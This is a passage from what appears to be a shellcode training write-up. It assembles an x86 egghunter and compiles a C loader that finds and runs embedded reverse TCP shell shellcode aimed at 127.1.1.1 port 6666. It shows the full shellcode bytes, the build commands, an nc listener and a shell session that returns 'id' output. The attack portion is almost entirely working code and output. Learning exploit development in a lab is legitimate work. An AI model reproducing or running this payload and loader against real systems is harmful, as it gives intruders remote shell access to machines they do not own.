3.B. Compiling and running file

We’ll try to compile and run the file. First, we’ll do the ASM compilation then convert it to C including the generated shellcode from Assignment 2.

Compile ASM

$ ../compile_asm.sh egghunt_rev_tcp_initial
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
$ 

Converting to shellcode for C compilation

When converting the compiled binary to shellcode, we need to adjust the placeholder for the egghunter string for making it a variable in C.
The displayed output indicates the string “\x4f\x44\x4f\x52” is the egghunt string.

$ ../convert_bin_sc.sh egghunt_rev_tcp_initial “\x31\xc9\xeb\x1e\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x4f\x44\x4f\x52\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7\xe8\xe2\xff\xff\xff”

Converting our reverse TCP ASM to shellcode

$ ../convert_bin_sc.sh rev_tcp_initial_nonull-opt
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x92\x43\x68\x7f\x01\x01\x01\x66\x68\xe5\xf5\x66\x5f\x66\x83\xf7\xff\x66\x57\x66\x53\x89\xe1\x43\xb0\x66\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xf1\x87\xd6\xcd\x80"

Putting things in place
Before we can compile the C file, we need to place the egghunter shellcode and the reverse TCP shellcode in the same C file. This way it will loop through memory running the egghunter, until it finds the indicated string which will execute the reverse TCP payload. I’ve commented the C file in various lines, explaining the several actions taken.

/*
Author: hodorsec
Filename: egghunt_rev_tcp_initial-c.c
*/

#include<stdio.h>
#include<string.h>

// Define a 4 byte string value to search for as egghunt string
#define HUNT "\x4f\x44\x4f\x52"     // ‘ODOR’

// Setup egghunting shellcode with HUNT as the variable for the string to search for
unsigned char hunter[] = \
"\x31\xc9\xeb\x1e\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8"
HUNT
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7\xe8\xe2\xff\xff\xff";

// TCP reverse shell on 6666 on host 127.1.1.1
// Use the egghunt string twice, because of the SCASD function being called twice for the first and second half of loading the string
unsigned char code[] = \
HUNT HUNT
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x92\x43\x68\x7f\x01\x01\x01\x66\x68\xe5\xf5\x66\x5f\x66\x83\xf7\xff\x66\x57\x66\x53\x89\xe1\x43\xb0\x66\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xf1\x87\xd6\xcd\x80";

main()
{
	
	printf("Egghunter Length:  %d\n", strlen(hunter));
	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())hunter;

	ret();

}

Compiling and running the C compiled binary

Compiling

$ ../compile_c.sh egghunt_rev_tcp_initial-c
[+] Compiling ... 
[+] Done!
$ 

Setting up local listener

$ nc -lvnp 6666
Listening on [0.0.0.0] (family 0, port 6666)

Running the locally C compiled binary

$ ./egghunt_rev_tcp_initial-c
Egghunter Length:  39
Shellcode Length:  92

Checking other terminal running the local listener

$ nc -lvnp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from [127.0.0.1] port 6666 [tcp/*] accepted (family 2, sport 54679)
id
uid=1000(vbox) gid=1000(vbox) groups=1000(vbox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)